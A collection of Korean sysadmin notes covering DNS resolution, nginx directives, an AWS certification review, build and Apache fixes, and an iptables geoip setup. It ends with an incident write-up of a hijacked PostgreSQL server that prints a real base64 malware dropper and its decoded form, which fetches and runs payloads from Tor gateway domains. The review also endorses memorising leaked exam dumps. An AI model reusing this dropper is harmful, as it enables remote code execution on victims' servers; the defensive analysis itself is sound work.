4.먼저 PC에 설정돼있는 local dns에 질의
(local dns란 서버 혹은 PC의 네트워크 설정 때 설정하는 네임서버 정보로 보통 1/2차 구성, 캐쉬 dns라고도 불름)
ㄴ보통 저는 서버에 8.8.8.8(구글)이나 168.126.63.1(KT) 210.220.163.82(SK)등으로 설정.

---- 5번부터는 사실상 우리같은 일반인들이 컨트롤 할 일이 없다.-----

5.local dns에 없으면 local dns에서 root dns에게 TLD(Top-Level Doamin)정보를 질의(실제론 root dns 가 아닌 미러 서버에 질의) - 여기서부터는 반복적 쿼리
(root dns는 전세계에 13대밖에 없다. 이유는 더 늘어나면 512byte가 넘어서 tcp 통신을 한번 더 해야하기 때문. 그래서 root dns는 13대 밖에 없고 한국의 경우 기존에는 일본이 가지고 있는 root dns를 사용했는데 2002년도 root dns에 ddos 가 유입, 세계적으로 문제가 발생하여 우리나라에 2003년도에 미러 서버를 구축, 지금은 총 3대이고 kisa, kt, kinx에서 관리한다. 미러서버를 두는 이유는 첫째로 root dns 서버의 ddos, 두번째로는 해외 dns를 사용하지않고 국내의 미러 dns를 사용함에따라 속도 및 비용 절감)

6.root dns 는 TLD를 관리하는 TLD 네임서버 정보를 DNS서버에 응답

7. local dns는 다시 TLD dns에게 도메인 정보를 쿼리
8. TLD DNS는 도메인의 네임서버 정보를 local dns에 응답

9. local dns는 다시 도메인의 네임서버로 도메인 정보를 쿼리

10. 도메인의 네임서버는 도메인에 대한 정보를 local dns에게 전달

11. local DNS는 해당 정보를 로컬 캐시에 저장하고 호스트에게 도메인 정보를 응답

12. 사용자는 위 과정으로 얻은 IP 정보를 이용해 사이트에 접속

ㄴDNS
ㄴ
osi 7 layer
서버
ㄴ소스 config
ㄴ어플리케이션 config
ㄴ서버 config








브라우저 프로세스   주소 표시줄, 북마크 막대, 뒤로 가기 버튼, 앞으로 가기 버튼 등 애플리케이션의 "chrome" 부분을 제어한다. 네트워크 요청이나 파일 접근과 같이 눈에 보이지는 않지만 권한이 필요한 부분도 처리한다.
ㄴUI 스레드(브라우저 버튼 및 입력), 네트워크 스레드(네트워크단), 스토리지 스레드(파일 접근 제어)
렌더러 프로세스   탭 안에서 웹 사이트가 표시되는 부분의 모든 것을 제어한다.
플러그인 프로세스   웹 사이트에서 사용하는 플러그인(예: Flash)을 제어한다.
GPU 프로세스   GPU 작업을 다른 프로세스와 격리해서 처리한다. GPU는 여러 애플리케이션의 요청을 처리하고 같은 화면에 요청받은 내용을 그리기 때문에 GPU 프로세스는 별도 프로세스로 분리되어 있다.

---정리중

설명하기에 앞서. 이 글을 적는 이유는
1. 각각의 기능들에 대해 공식docs 를 참고하여(즉 정확하게) 최대한 디테일하게, 공부하기 위함 최대한 초심자에 맞춰(본인이 초심자이기에)설명
2. 추후 100% 까먹을테니 정리하기 위함
ps.기능 및 옵션들은 회사에서 사용되는 옵션들(회사에서 직접 개발된 모듈들은 설명X, 사내 WIKI에 기재)

참고 URL : 
http://nginx.org/en/docs/ngx_core_module.html

worker_processes / Context : main
실행할 워커 프로세스 갯수 정의 , cpu 코어 갯수( cat /proc/cpuinfo | grep proce|  wc -l)대로 하는게 좋다
ex) worker_processes 4; 
.4로 지정하는경우 아래와 같이 워커 프로세스 4개 실행됨
root     21554     1  0  2019 ?        00:08:31 nginx: master process /usr/local/nginx/sbin/nginx
nobody   40544 21554  0 10:31 ?        00:00:00 nginx: worker process
nobody   40545 21554  0 10:31 ?        00:00:00 nginx: worker process
nobody   40546 21554  0 10:31 ?        00:00:01 nginx: worker process
nobody   40547 21554  1 10:31 ?        00:00:04 nginx: worker process

The auto parameter is supported starting from versions 1.3.8 and 1.2.5.

worker_rlimit_nofile / context : main
워커 프로세스가 사용 할 수 있는 최대 파일 갯수, worker conntercions의 3~4배가 적당하다고 함, 
ex) worker_rlimit_nofile  32768;

worker_connections / context : events
하나의 워커 프로세스당 최대 동시 연결 수, 클라이언트와의 연결 뿐 아니라 모든 연결이 포함됨(즉 아파치/nginx 프록시로 연결돼있을 경우 클라이언트 > nginx 1개, nginx > apache 1개 총 2개의 커넥션이 사용됨)
OS의 최대 오픈 파일 갯수(cat /etc/security/limits.conf | egrep -i "soft|hard" | grep -v "#" )를 넘으면 안된다.

ex) worker_connections 8192;

server_tokens 
서버 response header 에 nginx 버전 활성화 여부, 보안상 off 추천
ex) server_tokens off; 

server_names_hash_max_size(
server name 의 최대 해시 사이즈 설정
ex) server_names_hash_max_size      2048;

server_names_hash_bucket_size

server name의 최대 버킷 사이즈 설정

ex) server_names_hash_bucket_size   256;

###해시와 버킷이란, nginx 에서는 어떻게 사용되는지 ?
먼저 hash 를 예를 들자면 nginx 의 vhost 설정하기 위해 server_name 이 아래와같이 여러개가 있을경우
server_name  test1.kr www.test1.kr
server_name  testtest2.kr www.testtest2.kr

server_name  t3.kr www.t3.kr

등등...
test1.kr www.test1.kr > aaaa1111
testtest2.kr www.testtest2.kr > bbbb2222
t3.kr www.t3.kr > cccc3333

  
위와같이 어떤 크기의 데이터든 일정한 크기의 고유 문자열로 변경한다. 따라서 어떠한 크기의 데이터든 일정한 크기의 고유 문자열과 1:1 매칭이 돼 있기 때문에 "testtest2.kr"를 불러오는것보다 bbbb2222를 불러오는게 더욱 빠르게 처리 된다. (암호화에도 도움이 되지만 엔진엑스에서는 암호화때문에 사용하는건 아닌듯?)
엔진엑스에서는 server_name, map 지시어, mime type, reqest header 문자열 등의 정적 데이터들을 빠르게 처리하기 위해 해쉬 테이블을 사용한다. 
해쉬 테이블은 해쉬 함수를 이용해서 키를 해쉬로 바꾸고 바꿔진 해쉬와 매칭된 value가 저장되있는 버킷들

즉 server_names_hash_max_size 는 test1.kr testtest2.kr 과 같은 키들의 사이즈라 생각하면 편하고
server_names_hash_bucket_size 는 vhost 들의 갯수라 생각하면 된다.

set_real_ip_from / real_ip_header

ex)
real_ip_header X-Forwarded-For;
set_real_ip_from 127.0.0.1;
set_real_ip_from 172.16.253.10;
set_real_ip_from 172.16.253.14;

프록시 사용할경우 실제 주소를 확인하기 위한 설정

map

공식 독스 설명에는 변수에 따라 값이 달라지는 변수를 생성 한다(string를 받아서 value 를 매핑) 라고 나와있다. 쉽게 말하면 특정 아이피,도메인,대역등을 변수로 지정(string) 후 그 변수들을 접속 허용, 차단 또는 지정된 변수는 로깅을 하지 않는다 등을 한다고 보면 될듯 하다.
ex)
https://sub0709.tistory.com/110

gzip

ex)
gzip                   on;
gzip_proxied           any;
gzip_http_version      1.1;
gzip_min_length        1100;
gzip_comp_level        5;
gzip_buffers           16 32k;
gzip_vary              on;
gzip_disable           "msie6|Yeti";

전송 데이터를 줄이기 위해 gzip 을 이용하여 리퀘스트를 압축하는 모듈

proxy
https://12bme.tistory.com/367 설명 잘 돼 있음

vts
https://blog.naver.com/ncloud24/221598840260

요새 뭐 saa 있다고 으스댈것도 아니고 없는게 이상한 상황이고 또 후기 또한 굉장히 많기에 쓸까 말까 고민 많이 했는데 그래도 불합격 후 합격 후기는 없는듯하여 씁니다.

aws 는 완전 초짜, 한번도 해본적이 없었고 se 경력은 8년입니다.

처음에는 아래 파일을 가지고 일주일간 aws 서비스 개념부터 읶혔습니다.

(카톡 오픈 채팅방 서버방에 전산직님께서 공유)

아무래도 se를 적잖게 현업으로 있었다보니 서비스중 70%정도는 온프레미스 환경의 기술과 비교가되어 나름 쉽게 이해한듯 합니다.

그후 2주차부터는 일주일간 덤프파일 구해서 한문제 한문제 이해하며 풀면서 넘어갔습니다. 답만 외우는식이 아닌 최대한 자세히, 정확히 오답노트 만들며 풀었고 하루에 많이 풀어야 20~40문제정도 풀었습니다.

그렇게 일주일동안 약 150~200문제 가량 풀었던것같고 시험을 봤습니다.

즉 2주정도(1주 서비스 개념 읶히고 1주는 덤프문제 천천히 풀고)공부 했고 시험 봤는데 700점 맞고 탈락했습니다.
그래서 다른 계정으로 일주일뒤에 바로 시험 신청했고 시험보기 하루전에
덤프 80문제 쭉 풀고 틀린것 체크
그다음 다시 80문제 쭉 풀고 틀린것 체크
틀린문제가 얼추 80문제 되면 틀린 문제들 쭉 풀고 또 틀린문제 체크

다시 덤프 80문제 쭉 풀고 틀린것 체크

또 80문제 쭉 풀고 틀린것 체크
틀린문제들 또 얼추 80문제 되면 다시 쭉 풀고 또 틀리면 체크

이런식으로 덤프 끝까지 한번 다 풀었고 시험 당일날 틀리고 틀리고 틀린 문제들(약 20~30문제정도)은 시험들어가기 직전에 한번 쭉 보고 중얼거리면서 들어갔습니다. 

그리고 909점으로 합격했습니다.

시험보시는분들께 말씀드리고자 한다면
1.aws 서비스 개념은 읶히고 들어가야 한다.
2.어느정도 대강의 서비스가 눈에 들어오면 덤프문제 그냥 주구장창 풀면 시험 합격 가능하다.
3.시험 시간은 최대한 늦게하라. 당일에 보는게 굉장히 큰 도움이 된다.

입니다.

현업으로 aws 다루시고(경력 3년이상) saa, sap등 10개 이상 자격증 따신 분들 주변에 약 5명정도께 조언 받았는데 다들 하나같이 자격증은 자격증이고 실무는 실무다. 따라서 공부할 때 너무 이해하려 하지말고 적당히 외우면서 넘어가라. 였습니다.

실제로 공부 해보면(덤프 외울 때) 덤프 문제에 답이 다른것도 종종 있습니다. 그런것들 하나하나 완벽하게 해서 넘어가면 물론 좋겠지만 시간낭비라고 생각되네요.

덤프문제만 주구장창 푸시면 무조건 합격 가능하시니 시험 보시는분들 화이팅입니다.

다음에는 sap 후기올리겠습니다.

에러 내용
[ 38%] Building C object unittest/mysys/CMakeFiles/my_atomic-t.dir/my_atomic-t.c.o
[ 38%] Built target dynstring-t
Scanning dependencies of target my_getopt-t
[ 38%] Building C object unittest/mysys/CMakeFiles/my_getopt-t.dir/my_getopt-t.c.o
Linking CXX executable lf-t
[ 38%] Building C object mysys_ssl/CMakeFiles/mysys_ssl.dir/openssl.c.o
Linking CXX executable my_atomic-t
../../mysys/libmysys.a(my_cpu.c.o): In function `my_cpu_init':
/root/src/mariadb-10.3.22/mysys/my_cpu.c:86: undefined reference to `__rdtsc'
/root/src/mariadb-10.3.22/mysys/my_cpu.c:88: undefined reference to `__rdtsc'
/root/src/mariadb-10.3.22/mysys/my_cpu.c:90: undefined reference to `__rdtsc'
collect2: ld returned 1 exit status
make[2]: *** [unittest/mysys/lf-t] 오류 1
make[1]: *** [unittest/mysys/CMakeFiles/lf-t.dir/all] 오류 2
make[1]: *** 끝나지 않은 작업을 기다리고 있습니다....
[ 38%] Building CXX object mysys_ssl/CMakeFiles/mysys_ssl.dir/my_crypt.cc.o
Linking CXX executable my_getopt-t
[ 38%] Built target my_atomic-t
Linking CXX executable ma_dyncol-t
Linking CXX static library libmysys_ssl.a
[ 38%] Built target mysys_ssl
[ 38%] Built target my_getopt-t
[ 38%] Built target ma_dyncol-t
/root/src/mariadb-10.3.22/storage/mroonga/vendor/groonga/lib/expr.c: In function ‘grn_expr_exec’:
/root/src/mariadb-10.3.22/storage/mroonga/vendor/groonga/lib/expr.c:2620: note: variable tracking size limit exceeded with -fvar-tracking-assignments, retrying without
/root/src/mariadb-10.3.22/storage/mroonga/vendor/groonga/lib/expr.c:2620: note: variable tracking size limit exceeded
Linking CXX static library libgroonga.a
[ 38%] Built target libgroonga
make: *** [all] 오류 2



os : CentOS release 6.10 (Final) / 2.6.32-642.el6.x86_64 / gcc version 4.4.7 20120313 (Red Hat 4.4.7-23) (GCC) 

원인
gcc 버전이 낮아서 그런것 같다.
gcc-4.4 does not have support for rdtsc in x86intrin.h. It was added since gcc-4.5.
(https://jira.mariadb.org/browse/MDEV-20233?attachmentOrder=desc)참고

해결 33번 라인에
기존
#  include 
# else
변경
#  include 
# elif GCC_VERSION < 4005

#  include 
# else

Bad Request

Your browser sent a request that this server could not understand.

Additionally, a 400 Bad Request error was encountered while trying to use an ErrorDocument to handle the request.

증상

1.apache 2.2 / php 소스 / 가상호스트 설정되어 사용중에 위와같은 에러 발생
2.가상호스트에 설정된 ErrorLog나 CustomLog 에 찍히지 않고 기본 가상호스트(제일 최상단)에 설정된 customlog에 400 get 로그만 찍힘(에러로그에는 안찍힘)

확인해보니 도메인 네임에 "_" 언더바가 들어가면 에러가 나는것 같다. _ > - 로 바꿔서 해보니 잘 나온다.

https://ma.ttias.be/apache-httpd-2-2-15-60-underscores-hostnames-now-blocked/

내용 정리하자면 아파치 centos 6 버전에서 아파치 2.2.15 이상부터는 rfc1123 기반하여 도메인네임에 _ 언더바(외국어로는 언더스코어(underscore)로 표현하는듯)를 허용하지 않는다고 한다.
https://access.redhat.com/errata/RHSA-2017:1721

처리방법으로는

아파치 2.2.14 버전쓰던가
도메인네임 바꿔야 할듯..

mkdir /root/src/

cd /root/src/

wget http://ftp.netfilter.org/pub/patch-o-matic-ng/snapshot/patch-o-matic-ng-20080521.tar.bz2

wget ftp://ftp.pbone.net/mirror/vault.centos.org/5.8/os/SRPMS/iptables-1.3.5-9.1.el5.src.rpm

rpm -ivh /rpm -ivh iptables-1.3.5-9.1.el5.src.rpm

cd /usr/src/redhat/SOURCES/

bunzip2 iptables-1.3.5.tar.bz2

tar -xvf iptables-1.3.5.tar 

ln -s /usr/src/redhat/SOURCES/iptables-1.3.5 /usr/src/iptables

ln -s /usr/src/kernels/`uname -r`-x86_64 /usr/src/linux

cd /root/src/patch-o-matic-ng-20080521

./runme --download
엔터 엔터

./runme geoip
엔터 엔터 y

cd /usr/src/iptables/

make

cp extensions/libipt_geoip.so /lib64/iptables/

 cd /usr/src/linux/

make oldconfig

make modules_prepare

mv /usr/src/linux/net/ipv4/netfilter/Makefile /usr/src/linux/net/ipv4/netfilter/Makefile.orig

vi /usr/src/linux/net/ipv4/netfilter/Makefile 

(열어서 아래 내용 저장)

obj-m := ipt_geoip.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KDIR) M=$(PWD) modules

make M=/usr/src/linux/net/ipv4/netfilter

cp /usr/src/linux/net/ipv4/netfilter/ipt_geoip.ko /lib/modules/`uname -r`/kernel/net/ipv4/netfilter/

chmod 744 /lib/modules/`uname -r`/kernel/net/ipv4/netfilter/ipt_geoip.ko

depmod -a

modprobe ipt_geoip

mkdir /var/geoip ; cd /var/geoip ; wget http://people.netfilter.org/peejix/geoip/tools/csv2bin-20041103.tar.gz ; tar -xvzf csv2bin-20041103.tar.gz

cd csv2bin ; make

그다음 https://xinet.kr/?p=2711 여기 나온대로 maxmind 로그인 후 csv 파일 다운로드

csv 받으면 옛날 방식의 csv로 컨버팅 해야 함

####

GeoLite2-Country-CSV.zip 파일은 기존 csv 파일과 양식이 달라서 아래와 같이 컨버팅이 필요함

wget https://geolite.maxmind.com/download/geoip/database/GeoLite2-Country-CSV.zip

unzip -o -j GeoLite2-Country-CSV.zip '*/GeoLite2-Country-Blocks*' ##국가코드 DB:csv 파일 다운로드후 압축 풀기

wget http://download.geonames.org/export/dump/countryInfo.txt ##국가코드

https://github.com/mschmitt/GeoLite2xtables 여기 들어가서 20_convert 컨버팅 하는거 다운로드 ##컨버팅 스크립트

chmod 755 20_geo_convert.pl

/usr/bin/cpan -i NetAddr::IP ##컨버팅시 perl에 use NetAddr::IP; 라는 모듈을 사용하는 대부분 설치 안돼있어서 cpan으로 설치해야함

cat GeoLite2-Country-Blocks-IPv{4,6}.csv | ./geo_convert.pl CountryInfo.txt > GeoIPCountry.csv ##컨버팅

cat ./GeoLite2-Country-Blocks-IPv{4,6}.csv | ./20_convert_geolite2  ./countryInfo.txt  > GeoIP-legacy.csv

csv 옛날껄로 컨버팅 한다음 

./csv2bin GeoIP-legacy.csv 로 컨버팅 하고 

cp -ra geoipdb.* /var/geoip/

이러면 완료

IAM : 관리자가 IAM을 통하여 누가, 어느 리소스에, 무슨 작업을 할지 권한을 부여할 수 있다.

primary role : 

Cloud Shell : 

API 라이브러리에

서버 점검 요청 들어와서 확인해보니

sar 로 확인시 cpu 전부 사용중(전부 사용할 서버 아님)

01시 50분 01초     all     99.91      0.00      0.09      0.00      0.00      0.00
01시 52분 01초     all     99.90      0.00      0.10      0.00      0.00      0.00
01시 54분 01초     all     99.93      0.00      0.07      0.00      0.00      0.00

15279 postgres  20   0 2410m 2.3g    4 S 997.4  3.7 343927:26 rjD496                                                              

이상한 프로세스 실행돼있음을 확인     

postgres 15279     1 99 Dec05 ?        238-20:11:55 rjD496              

lsof 로 확인시
rjD496  15279 postgres  cwd       DIR        8,3     4096          2 /
rjD496  15279 postgres  rtd       DIR        8,3     4096          2 /
rjD496  15279 postgres  txt   unknown                                /proc/15279/exe (readlink: No such file or directory)
rjD496  15279 postgres  DEL       REG        8,3            24408871 /var/lib/pgsql/532c82963b1166afe6297c911fdebc14
rjD496  15279 postgres  mem       REG        8,3      557    2621500 /etc/localtime
rjD496  15279 postgres   10w      REG        8,3        6   20185158 /tmp/.X11-unix/11
rjD496  15279 postgres   31u     IPv4 1194033012      0t0        TCP 서버 아이피 ->101.64.182.145:https (ESTABLISHED)

ALTER USER postgres WITH PASSWORD '123456';

ㄴpgsql 히스토리 보니 패스워드가... 굉장히 취약하다. 이게 아마 원인인듯 하고 추가로 더 점검 진행

-rwxr-xr-x   1 postgres postgres 1370 2017-03-22 09:51 .aliyun.sh

.aliyun.sh 라는 수상한 쉘 스크립트가 삽입돼있음

cat .aliyun.sh 
#!/bin/bash
exec &>/dev/null
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10cnVtcHM0YzRvaHh2cTdvCmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluIC91c3IvYmluICRkaXIgL2Rldi9zaG0gL3RtcCAvdmFyL3RtcDtkbyB0b3VjaCAkaS9pICYmIGNkICRpICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp4KCkgewpmPS9pbnQKZD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCndnZXQgLXQxIC1UMTAgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJGYgLU8kZCB8fCBjdXJsIC1tMTAgLWZzU0xrQS0gJDEkZiAtbyRkCmNobW9kICt4ICRkOyRkO3JtIC1mICRkCn0KdSgpIHsKeD0vY3JuCndnZXQgLXQxIC1UMTAgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IHx8IGN1cmwgLW0xMCAtZnNTTGtBLSAkMSR4Cn0KZm9yIGggaW4gdG9yMndlYi5pbyA0dG9yLm1sIG9uaW9uLm1uIG9uaW9uLmluLm5ldCBvbmlvbi50byBkMndlYi5vcmcgY2l2aWNsaW5rLm5ldHdvcmsgb25pb24ud3Mgb25pb24ubnogb25pb24uZ2xhc3MgdG9yMndlYi5zdQpkbwppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgp4IHRydW1wczRjNG9oeHZxN28uJGgKZWxzZQpicmVhawpmaQpkb25lCgppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgooCnUgJHQudG9yMndlYi5pbyB8fAp1ICR0LjR0b3IubWwgfHwKdSAkdC5kMndlYi5vcmcgfHwKdSAkdC5vbmlvbi5tbiB8fAp1ICR0Lm9uaW9uLmluLm5ldCB8fAp1ICR0Lm9uaW9uLnRvIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC5vbmlvbi5wZXQgfHwKdSAkdC50b3Iyd2ViLnN1IHx8CnUgJHQub25pb24uZ2xhc3MgfHwKdSAkdC5vbmlvbi53cwopfGJhc2gKZmkK|base64 -d|bash

디코딩 해보면 아래와 같다.

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=trumps4c4ohxvq7o
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in /usr/bin $dir /dev/shm /tmp /var/tmp;do touch $i/i && cd $i && rm -f i && break;done
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d-)
wget -t1 -T10 -qU- --no-check-certificate $1$f -O$d || curl -m10 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
u() {
x=/crn
wget -t1 -T10 -qU- -O- --no-check-certificate $1$x || curl -m10 -fsSLkA- $1$x
}
for h in tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su
do
if ! ls /proc/$(cat /tmp/.X11-unix/00)/io; then
x trumps4c4ohxvq7o.$h
else
break
fi
done

if ! ls /proc/$(cat /tmp/.X11-unix/00)/io; then
(
u $t.tor2web.io ||
u $t.4tor.ml ||
u $t.d2web.org ||
u $t.onion.mn ||
u $t.onion.in.net ||
u $t.onion.to ||
u $t.civiclink.network ||
u $t.onion.pet ||
u $t.tor2web.su ||
u $t.onion.glass ||
u $t.onion.ws
)|bash
fi

스크립트 내용은

해당 스크립트가 실행된 계정의 홈디렉토리와 /usr/bin $dir /dev/shm /tmp /var/tmp 디렉토리내에 i 라는 디렉토리 생성하고

i/int 디렉토리 생성후 그 안에다 tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su

도메인들에서 trumps4c4ohxvq7o 라는 닉네임(해커) 이 만들어놓은 파일을 다운로드 후 실행시키는 스크립트

다운로드 받는 파일은 바이너리 화 돼 있어서 뭔진 모르겠다.

아래 도메인은 방화벽에서 차단

tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su